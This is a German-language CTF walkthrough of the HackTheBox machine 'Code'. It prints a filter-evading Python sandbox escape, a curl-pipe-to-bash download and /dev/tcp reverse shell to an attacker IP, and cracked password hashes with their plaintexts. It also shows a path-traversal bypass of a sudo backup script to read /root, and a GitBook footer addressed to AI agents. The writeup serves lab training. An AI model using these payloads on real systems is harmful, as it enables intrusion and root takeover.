> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md).

# Code HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/653>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SSTI-Exploit – Python-Code-Editor
* SQLite-Datenbankextraktion & Hash-Cracking
* backy.sh-Bypass durch Pfadmanipulation (Privilegieneskalation)
* Extraktion eines Tar-Archivs aus dem Root-Verzeichnis
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/e5a45b3e98b731edaf1531638b133009cffe8f59" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/0a783b1efa44cbff7c775661f4d19a38657c2db7" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts
```

<figure><img src="/files/bdd2b384207df305e3341627f3c18ae6cdfd51ca" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (22.5000)

```bash
nmap -sCV -p22,5000 10.10.11.62 -oN targeted
```

<figure><img src="/files/3d226e882e009341fd9efe68ef95fbeb2e9ebff9" alt=""><figcaption></figcaption></figure>

## Ausnutzung von SSTI – Python-Code-Editor

<figure><img src="/files/22849f4ed60aaf69911544dab171a57593bd8e7d" alt=""><figcaption></figcaption></figure>

Ein Python-Code-Editor wird auf Port 5000 entdeckt. Bei typischen Injektionsversuchen (`import os`, `exec`, usw.) werden Fehler erzeugt.

<figure><img src="/files/f641cb2609f138f87ffdf03fad69c416b9e98e39" alt=""><figcaption></figcaption></figure>

Um die Einschränkungen zu umgehen, verwenden wir eine Schleife, um eine Klasse zu identifizieren, die Zugriff auf die eingebauten Funktionen (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(i)
    except Exception as e:
        continue
```

> Diese Python-Schleife versucht, eine serverseitige Template-Injection (SSTI) auszunutzen, indem sie die Unterklassen von Pythons Basisobjekt (`object`) nach einer Klasse durchsucht, die die globale Umgebung (`__globals__`) über ihre `__init__` Methode offenlegt. Bei jeder Iteration ruft sie das Wörterbuch der eingebauten Funktionen (`__builtins__`) ab, indem sie dessen Namen rekonstruiert, um einfache Filterung zu umgehen. Wenn das Objekt die `eval` Funktion enthält, wird der Klassenindex ausgegeben. Diese Technik wird häufig verwendet, um gefährliche Funktionen wie `eval`, `exec`, und `öffnen`.

<figure><img src="/files/5a3b3b124acf81b81515311c51930d2d31ef8938" alt=""><figcaption></figcaption></figure>

### Lesen `/etc/passwd`

Sobald das Objekt, das `eval` enthält, identifiziert ist, führen wir aus:

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))
```

{% endcode %}

Dies offenbart zwei Benutzer: `martin` und `production`.

<figure><img src="/files/0be2fa396e8667b266cd8d488dc703f8a2586a6a" alt=""><figcaption></figcaption></figure>

### **Reverse Shell**

#### Lauschend auf Port 443:

```bash
nc -nvlp 443
```

#### Reverse-Shell-Skript :

Erstelle ein `index.html` Datei mit:

{% code overflow="wrap" %}

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.90/443 0>&1
```

{% endcode %}

Starten eines Webservers:

```bash
python3 -m http.server 80
```

Payload-Injektion:

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))
```

{% endcode %}

<figure><img src="/files/170f96642d9a8a6c0cb7a25f8f45bef5377b343d" alt=""><figcaption></figcaption></figure>

#### Terminal-Bedienung:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="/files/7c299dd29d4403da5f29f30802060f19ad709ab2" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

### SSH-Zugriff mit dem Benutzer `martin`

<figure><img src="/files/135621d9d50a606a94cad521d4953f1051b44dba" alt=""><figcaption></figcaption></figure>

Wir entdecken eine `database.db` Datei. Eine Untersuchung per SQLite zeigt zwei Benutzer (`development`, `martin`) mit Passwort-Hashes.

```sql
sqlite3 database.db
```

<table><thead><tr><th width="374">Benutzer</th><th>Hashes</th></tr></thead><tbody><tr><td>development</td><td>759b74ce43947f5f4c91aeddc3e5bad3</td></tr><tr><td>martin</td><td>3de6f30c4a09c27fc71932bfc68474be</td></tr></tbody></table>

<figure><img src="/files/39a258b351c7f48add17f5e8c08e8c3354b1b9ad" alt=""><figcaption></figcaption></figure>

Knacken Sie die Passwörter mit [CrackStation](https://crackstation.net/), dann verbinden:

{% embed url="<https://crackstation.net/>" %}

<table><thead><tr><th width="374">Benutzer</th><th>Hashes</th></tr></thead><tbody><tr><td>development</td><td>development</td></tr><tr><td>martin</td><td>nafeelswordsmaster</td></tr></tbody></table>

<figure><img src="/files/246019a7c8bf393cef0baa19c83636a23ba46656" alt=""><figcaption></figcaption></figure>

```bash
ssh martin@10.10.11.62
```

<figure><img src="/files/df2366260d2cd72cddebfd04f1f347f030e60e13" alt=""><figcaption></figcaption></figure>

### Sudo - backy.sh (Skript)

Wir erfahren, dass `martin` kann ausführen `/usr/bin/backy.sh` als root ausgeführt werden.

```bash
sudo -l
```

<figure><img src="/files/8516d8c1906fd3f539ca1c8fc6660d2efb020034" alt=""><figcaption></figcaption></figure>

**Das Skript prüft:**

* Ob die angegebene JSON-Datei existiert,
* Dass jeder Pfad in `directories_to_archive` sich unter `/var/` oder `/home/`,
* Entfernt `../` Sequenzen via `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Verwendung: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Fehler: Datei '$json_file' nicht gefunden."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Fehler: $dir ist nicht erlaubt. Nur Verzeichnisse unter /var/ und /home/ sind erlaubt."
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**Umgehung:**

Wir konfigurieren ein `pwned.json` Datei ein:

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

Ausführung:

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/d0430af7ad1832b9a33ab43d384b88a9c7ec6020" alt=""><figcaption></figcaption></figure>

Entpackung:

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```

### Flag root.txt :)

<figure><img src="/files/5db6e9586186ed6c2e62b2f11872ec379961d920" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ea3936036cc1c5e13e8e397f624fb4b1f1ada885" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
